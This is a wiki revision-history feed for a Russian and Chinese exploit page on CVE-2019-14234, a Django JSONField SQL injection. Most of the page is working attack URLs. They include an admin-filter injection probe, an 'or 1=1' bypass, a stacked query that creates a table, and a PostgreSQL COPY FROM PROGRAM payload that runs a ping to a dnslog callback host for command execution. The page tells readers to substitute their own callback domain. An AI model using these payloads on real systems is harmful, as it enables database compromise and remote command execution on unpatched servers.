https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2019-14234_Django_JSONField_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%2Fru
CVE-2019-14234 Django JSONField SQL注入漏洞/ru - Revision history
2026-04-05T07:08:29Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2019-14234_Django_JSONField_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/ru&diff=5147&oldid=prev
Pwnwiki at 02:00, 16 June 2021
2021-06-16T02:00:39Z
<p></p>
<table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface">
<col class="diff-marker" />
<col class="diff-content" />
<col class="diff-marker" />
<col class="diff-content" />
<tr class="diff-title" lang="chinese">
<td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Older revision</td>
<td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Revision as of 02:00, 16 June 2021</td>
</tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l45" >Line 45:</td>
<td colspan="2" class="diff-lineno">Line 45:</td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>===⚠️️===</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>===⚠️️===</div></td></tr>
<tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><del class="diffchange diffchange-inline"><div lang="chinese" dir="ltr" class="mw-content-ltr"></del></div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div><code> test.dnslog.cn </code> <ins class="diffchange diffchange-inline">измените его на свой собственный журнал Dnslog</ins></div></td></tr>
<tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><code>test.dnslog.cn</code><del class="diffchange diffchange-inline">請修改爲自己的Dnslog</del></div></td><td colspan="2"> </td></tr>
<tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div><del class="diffchange diffchange-inline"></div></del></div></td><td colspan="2"> </td></tr>
<!-- diff cache key pwn_wiki:diff::1.12:old-5132:rev-5147 -->
</table>
Pwnwiki
https://pwnwiki.com/index.php?title=CVE-2019-14234_Django_JSONField_SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E/ru&diff=5132&oldid=prev
Pwnwiki: Created page with "Подтвердите успешно выполненный оператор <code>no results to fetch </code>."
2021-06-16T01:56:56Z
<p>Created page with "Подтвердите успешно выполненный оператор <code>no results to fetch </code>."</p>
<p><b>New page</b></p><div><languages /><br />
<br />
==Затронутая версия==<br />
<pre><br />
Django 2.2.x < 2.2.4<br />
<br />
Django 2.1.x < 2.1.11<br />
<br />
Django 1.11.x < 1.11.23<br />
</pre><br />
<br />
== Эксплуатация ==<br />
<br />
Во-первых, вам необходимо войти в систему в фоновом режиме администратора и получить доступ к странице управления model Collection:<br />
<pre><br />
http://127.0.0.1/admin/vuln/collection/<br />
</pre><br />
<br />
<pre><br />
http://127.0.0.1/admin/vuln/collection/?detail__a%27<br />
</pre><br />
<br />
<pre><br />
http://127.0.0.1/admin/vuln/collection/?detail__a%27)%3D%271%27%20or%201%3d1%20--<br />
</pre><br />
<br />
<div lang="chinese" dir="ltr" class="mw-content-ltr"><br />
Django一般與PostgreSQL一起配合使用，可以嘗試利用PostgreSQL 高權限命令執行漏洞[https://www.pwnwiki.org/index.php?title=CVE-2019-9193_PostgreSQL_%E9%AB%98%E6%AC%8A%E9%99%90%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E (CVE-2019-9193)]<br />
</div><br />
<br />
<br />
Посетите следующий URL:<br />
<pre><br />
http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_execs(cmd_output%20text)--%20<br />
</pre><br />
<br />
Подтвердите успешно выполненный оператор <code>no results to fetch </code>.<br />
<br />
доступ:<br />
<pre><br />
http://127.0.0.1/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_execs%20FROM%20PROGRAM%20%27ping%20test.dnslog.cn%20%27--%20<br />
</pre><br />
<br />
Команда была выполнена успешно.<br />
<br />
===⚠️️===<br />
<div lang="chinese" dir="ltr" class="mw-content-ltr"><br />
<code>test.dnslog.cn</code>請修改爲自己的Dnslog<br />
</div></div>
Pwnwiki